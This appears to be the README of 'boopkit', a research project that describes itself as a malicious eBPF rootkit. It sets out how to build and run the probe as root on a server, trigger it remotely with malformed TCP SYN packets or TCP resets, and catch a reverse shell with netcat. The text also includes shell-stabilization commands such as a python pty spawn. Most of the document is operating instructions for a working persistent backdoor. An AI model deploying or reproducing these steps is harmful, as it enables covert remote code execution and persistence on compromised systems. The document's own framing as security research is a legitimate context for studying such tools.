A research project to demonstrate remote code injection over TCP with a malicious eBPF probe installed on a server.
Tested on Linux 5.17
Currently supported "boop" vectors:
This is NOT an exploit! This requires prior priviliged access on a server in order to work!
I am a professional security researcher. These are white hat tools used for research purposes only.
Seriously please use these responsibly.
Install boopkit
on a server that is already running any TCP service (EG: Kubernetes, SSH, nginx, etc).
git clone [email protected]:kris-nova/boopkit.git
cd boopkit
make
sudo ./boopkit > /var/log/boop.log &
Trigger a reverse shell over an existing TCP service. Edit the remote
launcher script and point it at any TCP server running on the exploited machine!
cd remote
# edit ./remote as needed
./remote
python -c "import pty; pty.spawn('/bin/bash')"
Enjoy :)
Boopkit can "boop" the probe remotely in many ways.
The first boop that is attempted by the trigger is sending a malformed TCP SYN packet with an uncalculated checksum. This is an extremely lightweight and versatile boop as it can be ran against any server regardless if the server currently has an application running and accepting TCP connections! Yes. You can literally just "boop" a server and trigger a bad checksum as the kernel by default is listening for sockets on all ports.
The first boop is scary, but not always reliable. Most modern networking hardware will drop malformed packets such as the ones required for the first boop. So a slightly less versatile vector is to boop an active TCP server in the hopes of causing the TCP server to trigger a TCP reset in the kernel. This can be done by pointing the /trigger
program at a TCP service such as OpenSSH or Kubernetes.
These TCP resets are much riskier, less reliable, and noiser from a kernel perspective. There is also no guarantee that a TCP service will actually trigger the TCP reset tracepoint. By default Boopkit will attempt to create a more reliable SOCK_STREAM style connection before attempting the TCP reset boop, simply to validate that the remote is online and responding to TCP.
eBPF Probe | Malicious Userspace Program | Remote Trigger |
---|---|---|
Responsible for sending tracepoint/tcp/tcp_bad_sum events to userspace |
Persistent process in Linux, that does the dirty work | Remote way to trigger the RCE over a network and TCP server |
Can be loaded into the kernel at runtime using the userspace loader program.
The probe responds to tcp/tcp_bad_csum
events and will pass the saddr
(Source Address) up to userspace using an eBPF map.
This is the malicious program that will respond to the bad checksum packets sent to the server. Whenever a malicious packet is sent, the loader program responds with remote code execution.
The trigger
binary is a small C program that will send a malformed SYN
request without a properly calculated checksum to the server.
The remote
script wraps the trigger
and will use netcat
to listen for a reverse shell.
- 'clang'
- 'linux-headers'
- 'llvm'
- 'libbpf'
- 'lib32-glibc'
- Linux kernel with eBPF enabled/supported
- Ncat running on the server
- Root access :)
After a successful /remote
the shell will be very unsightly. It is possible to use JasonTurley.xyz's suggestion to stablize the shell.
Select one of the commands to run in order to start a cleaner shell.
python -c "import pty; pty.spawn('/bin/bash')"
ruby -e "exec '/bin/bash'"
perl -e "exec '/bin/bash';"
Next move the newly created shell to the background on your local terminal.
Ctrl + z
Update the stty locally.
stty raw -echo && fg
Finally, reconfigure the terminal!
export TERM=xterm-256-color